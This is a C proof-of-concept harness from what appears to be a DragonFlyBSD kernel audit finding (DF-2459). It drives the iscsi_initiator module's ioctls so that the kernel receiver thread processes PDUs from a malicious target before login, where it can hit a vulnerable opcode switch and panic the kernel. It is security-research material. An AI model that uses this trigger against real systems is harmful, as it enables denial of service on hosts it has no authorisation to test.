DragonFlyBSD Kernel Audit
DF-2459 / idrv.c
← back to finding ↓ download raw
/*
 * idrv.c - Minimal iSCSI initiator driver for the DragonFlyBSD iscsi_initiator kld.
 *
 * Performs just enough to start the kernel receiver thread on a socket that is
 * connected to a (malicious) target, WITHOUT doing iSCSI login:
 *   1. open("/dev/iscsi")
 *   2. ISCSISETSES  -> kernel creates /dev/iscsiN, writes session id N
 *   3. open("/dev/iscsiN")
 *   4. socket() + connect() to <targetIP>:<port>
 *   5. ISCSISETSOC  -> kernel calls isc_start_receiver(): the receiver thread
 *                      now reads any PDU the target sends and dispatches it
 *                      through ism_recv() (the vulnerable opcode switch),
 *                      EVEN THOUGH LOGIN HAS NOT HAPPENED.
 *
 * Build: cc -o idrv idrv.c
 * Run:   ./idrv 127.0.0.1 3260
 *
 * ioctl numbers are taken from <dev/disk/iscsi/initiator/iscsi.h>:
 *   ISCSISETSES _IOR('i', 1, int)   arg: int* (session id out)
 *   ISCSISETSOC _IOW('i', 2, int)   arg: int* (socket fd in)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

#define ISCSISETSES _IOR('i', 1, int)
#define ISCSISETSOC _IOW('i', 2, int)

int main(int argc, char **argv) {
    const char *ip = argc > 1 ? argv[1] : "127.0.0.1";
    int port = argc > 2 ? atoi(argv[2]) : 3260;

    int fd = open("/dev/iscsi", O_RDWR);
    if (fd < 0) { perror("open /dev/iscsi"); return 2; }
    int n = -1;
    if (ioctl(fd, ISCSISETSES, &n) < 0) { perror("ISCSISETSES"); return 3; }
    printf("idrv: session id=%d\n", n); fflush(stdout);
    close(fd);

    char dev[32]; snprintf(dev, sizeof(dev), "/dev/iscsi%d", n);
    int nfd = open(dev, O_RDWR);
    if (nfd < 0) { perror(dev); return 4; }
    printf("idrv: opened %s\n", dev); fflush(stdout);

    int soc = socket(AF_INET, SOCK_STREAM, 0);
    if (soc < 0) { perror("socket"); return 5; }
    struct sockaddr_in sa; memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    if (inet_pton(AF_INET, ip, &sa.sin_addr) != 1) { fprintf(stderr,"bad ip\n"); return 6; }
    printf("idrv: connecting to %s:%d...\n", ip, port); fflush(stdout);
    if (connect(soc, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("connect"); return 7; }
    printf("idrv: connected, passing socket to kernel (ISCSISETSOC)\n"); fflush(stdout);

    if (ioctl(nfd, ISCSISETSOC, &soc) < 0) { perror("ISCSISETSOC"); return 8; }
    printf("idrv: ISCSISETSOC done -- kernel receiver is now running\n"); fflush(stdout);

    /* Give the kernel receiver thread time to read & dispatch the
       malicious PDU the target injected. If it panics, ssh dies here. */
    sleep(6);
    printf("idrv: still alive after 6s (no panic)\n"); fflush(stdout);
    close(nfd);
    return 0;
}